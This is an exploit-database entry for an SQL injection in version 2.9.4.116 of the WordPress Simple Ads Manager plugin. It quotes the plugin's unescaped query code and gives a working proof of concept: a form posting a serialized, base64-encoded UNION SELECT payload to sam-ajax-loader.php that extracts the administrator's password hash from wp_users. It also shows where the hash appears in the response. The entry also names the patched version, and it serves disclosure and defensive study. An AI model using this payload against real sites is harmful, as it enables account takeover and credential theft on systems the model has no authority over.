Wordpress Simple Ads Manager 2.9.4.116 Plugin - SQL Injection

2015-12-30T00:00:00
ID 1337DAY-ID-24840
Type zdt
Reporter Kacper Szurek
Modified 2015-12-30T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            /*
# Exploit Title: Simple Ads Manager 2.9.4.116 SQL Injection
# Date: 30-12-2015
# Software Link: https://wordpress.org/plugins/simple-ads-manager/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
  
1. Description
 
$whereClause and $whereClauseT and $whereClauseW and $whereClause2W are not escaped.
 
File: simple-ads-manager\ad.class.php
 
$aSql = "
    (SELECT
      @pid := sp.id AS pid,
      0 AS aid,
      sp.name,
      sp.patch_source AS code_mode,
      @code_before := sp.code_before AS code_before,
      @code_after := sp.code_after AS code_after,
      @ad_size := IF(sp.place_size = \"custom\", CONCAT(CAST(sp.place_custom_width AS CHAR), \"x\", CAST(sp.place_custom_height AS CHAR)), sp.place_size) AS ad_size,
      sp.patch_code AS ad_code,
      sp.patch_img AS ad_img,
      \"\" AS ad_alt,
      0 AS ad_no,
      sp.patch_link AS ad_target,
      0 AS ad_swf,
      \"\" AS ad_swf_flashvars,
      \"\" AS ad_swf_params,
      \"\" AS ad_swf_attributes,
      \"\" AS ad_swf_fallback,
      sp.patch_adserver AS ad_adserver,
      sp.patch_dfp AS ad_dfp,
      0 AS count_clicks,
      0 AS code_type,
      IF((sp.patch_source = 1 AND sp.patch_adserver) OR sp.patch_source = 2, -1, 1) AS ad_cycle,
      @aca := IFNULL((SELECT AVG(sa.ad_weight_hits*10/(sa.ad_weight*$cycle)) FROM $aTable sa WHERE sa.pid = @pid AND sa.trash IS NOT TRUE AND {$whereClause} {$whereClauseT} {$whereClause2W}), 0) AS aca
    FROM {$pTable} sp
    WHERE {$pId} AND sp.trash IS FALSE)
    UNION
    (SELECT
      sa.pid,
      sa.id AS aid,
      sa.name,
      sa.code_mode,
      @code_before AS code_before,
      @code_after AS code_after,
      @ad_size AS ad_size,
      sa.ad_code,
      sa.ad_img,
      sa.ad_alt,
      sa.ad_no,
      sa.ad_target,
      sa.ad_swf,
      sa.ad_swf_flashvars,
      sa.ad_swf_params,
      sa.ad_swf_attributes,
      sa.ad_swf_fallback,
      0 AS ad_adserver,
      0 AS ad_dfp,
      sa.count_clicks,
      sa.code_type,
      IF(sa.ad_weight, (sa.ad_weight_hits*10/(sa.ad_weight*$cycle)), 0) AS ad_cycle,
      @aca AS aca
    FROM {$aTable} sa
    WHERE sa.pid = @pid AND sa.trash IS FALSE AND {$whereClause} {$whereClauseT} {$whereClauseW})
    ORDER BY ad_cycle
    LIMIT 1;";
 
http://security.szurek.pl/simple-ads-manager-294116-sql-injection.html
 
2. Proof of Concept
*/
 
<?php
$out = array();
$out['WC'] = '1=0';
$out['WCT'] = '';
$out['WCW'] = ') UNION (SELECT user_pass, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2 FROM wp_users WHERE ID = 1';
$out['WC2W'] = '';
?>
<form method="post" action="http://wp-url/wp-content/plugins/simple-ads-manager/sam-ajax-loader.php">
<input type="hidden" name="action" value="load_place">
<input type="hidden" name="id" value="0">
<input type="hidden" name="pid" value="1">
<input type="text" name="wc" value="<?php echo base64_encode(serialize($out)); ?>">
<input type="submit" value="Send">
</form>
 
/*
Administrator password will be here:
 
{"success":true,"ad":"<div id='c2077_1_%here_is_password%' class='sam-container sam-place' data-sam='0'><\/div>","id":"1","pid":"%here_is_password%","cid":"c2077_1_%here_is_password%"}
 
3. Solution:
    
Update to version 2.9.5.118
*/

#  0day.today [2018-01-05]  #